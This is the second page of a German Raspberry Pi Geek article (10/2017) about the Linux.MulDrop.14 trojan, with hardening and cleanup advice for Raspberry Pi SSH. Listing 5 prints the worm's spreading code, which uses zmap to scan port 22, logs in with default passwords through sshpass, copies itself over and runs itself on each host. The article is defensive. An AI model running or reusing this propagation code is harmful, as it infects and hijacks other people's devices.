Aus Raspberry Pi Geek 10/2017

Der Raspberry Pi im Visier von Trojanern (Seite 2)

Listing 5

 

[...]
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
[...]

Schutz gegen Trojaner

Das Risiko, sich den Trojaner einzufangen, dürfte in der Praxis relativ gering bleiben: Der Trojaner muss lokal im Netz ausgeführt werden und auf einen RasPi mit aktiviertem SSH-Server und Standardlogin treffen. Das Risiko steigt jedoch mit der Größe des Netzwerks. Zu Hause dürften die meisten Nutzer die Kontrolle über die Anzahl und Verwendung der im Netz aktiven Rechner haben. In einem Universitätsnetz oder im Firmen-LAN droht schon alleine aufgrund der Anzahl der Teilnehmer mehr Gefahr.

Eine Infektion zu Hause über das Internet wäre nur dann möglich, wenn Sie als Anwender Port 22 vom Router auf einen RasPi weiterleiten und die Zugangsdaten nicht ändern. In diesem Fall dürfte es allerdings in der Tat nicht lange dauern, bis Linux.MulDrop.14 zuschlägt. Nutzen Sie den RasPi als SSH-Gateway, sollten Sie daher auf jeden Fall das Passwort des Nutzers pi mittels passwd ändern. Sie verringern das Risiko eines erfolgreichen Angriffs mit dieser simplen Maßnahme deutlich.

Des Weiteren müssen Sie nicht zwangsläufig Port 22 für SSH nutzen. Indem Sie beispielsweise Port 622 des Routers an den Port 22 des Raspberry Pi durchleiten, laufen die Angriffe (und viele andere Portscans) ins Leere (Abbildung 2). Beim Verbindungsaufbau aus dem Internet müssen Sie dann nur im SSH-Client den entsprechenden Port angeben, unter Linux etwa mit folgendem Kommando:

$ ssh -p 622 pi@Host
Abbildung 2: Der SSH-Server des Raspberry Pi muss nicht zwingend auf Port 22 zu erreichen sein.

Abbildung 2: Der SSH-Server des Raspberry Pi muss nicht zwingend auf Port 22 zu erreichen sein.

Alternativ dazu ändern Sie direkt im SSH-Server des Raspberry Pi den vom Dienst genutzten Port. Die Einstellung finden Sie gleich am Anfang der für den Server verantwortlichen Konfigurationsdatei /etc/ssh/sshd_config (Listing 6), die Port-Vorgabe ändern Sie mit einem beliebigen Texteditor. Danach müssen Sie die Konfiguration mittels sudo service ssh reload neu einlesen. Zusätzlich könnten Sie hier auch gleich dem Nutzer pi verbieten, sich via SSH per Passwort anzumelden (ab Zeile 7).

Listing 6

 

# Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
[...]
# Raspbian Standard-Benutzer aussperren
Match user pi
PasswordAuthentication no

Zuvor sollten Sie jedoch einen neuen Nutzer speziell für den SSH-Einsatz anlegen und ihm dieselben Rechte einräumen wie dem Nutzer pi (Listing 7). Ansonsten sperren Sie sich aus Ihrem eigenen System aus. Danach arbeiten Sie dann mit dem individuell benannten User. Um sich jetzt unautorisierten Zutritt zu verschaffen, müsste man das RasPi-System nun schon per Brute-Force angreifen oder andere Schwachstellen in den Netzwerkfunktionen des Betriebssystems ausnutzen.

Listing 7

 

$ sudo adduser Name
$ for GROUP in $(groups pi | sed 's/.*:\spi//'); do sudo adduser Name $GROUP; done

Was tun, wenn’s brennt?

Hersteller von Antivirensoftware versprechen, Rechner vor Computerviren und Malware zu schützen und bei Befall diesen von der Schadsoftware zu befreien. Diesen Versprechen sollten Sie nicht allzu viel Vertrauen schenken: Sollten Sie eine Infektion bemerken, etwa weil Sie sich nicht mehr einloggen können und die Betriebstemperatur des RasPi merklich ansteigt, dann machen Sie besser reinen Tisch.

Stecken Sie den betroffenen RasPi vom Strom ab und nehmen Sie die Speicherkarte heraus. Auf einem Linux-Computer können Sie einen Blick auf das System werfen. Finden Sie die angesprochenen Manipulationen in /opt/, in der /etc/rc.local und in der /etc/hosts, dann haben Sie sich Linux.MulDrop.14 eingefangen.

In diesem Fall sollten Sie das System komplett neu aufsetzen, nachdem Sie mit Bedacht wichtige Daten gesichert haben – hier gilt das Motto “better safe than sorry”. Bevor Sie das System dann wieder ans Netz hängen, befolgen Sie bitte die Tipps aus dem Abschnitt “Schutz gegen Trojaner”.

Fazit

Für den Raspberry-Pi-Trojaner Linux.MulDrop.14 mussten sich die Hintermänner nicht groß ins Zeug legen: Weil Raspbian per Image auf den RasPi kommt und vorgegebene Zugangsdaten nutzt, hatten die Angreifer leichtes Spiel. Die Raspberry Pi Foundation hat Raspbian mittlerweile allerdings besser abgesichert. Der SSH-Server startet nur noch auf expliziten Wunsch, und das System weist auf das unsichere Standardpasswort hin. Das muss der Anwender dann aber auch ändern.

Ob die Macher des Trojaners wirklich versuchen, eine Armee an Mining-RasPis zu rekrutieren, darf man bezweifeln. Es bräuchte Tausende gekaperte RasPis, um auch nur eine für Crypto-Mining geeignete High-End-Grafikkarte wie die Nvidia GeForce GTX 1080 Ti zu ersetzen [6]. Zieht man die Zahlen des Bitcoin-Wikis heran [7], dann errechnet eine einzige dieser Hochleistungskarten Hashcodes ebenso schnell wie etwa 3000 RasPis. Da scheint es wesentlich lukrativer, den Raspberry Pi als Mini-Sklaven für DOS-Angriffe oder Portscans zu missbrauchen. 

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 5 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
RASPBERRY PI GEEK KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Raspberry Pi Geek bei Google Play Readly Logo
Nach oben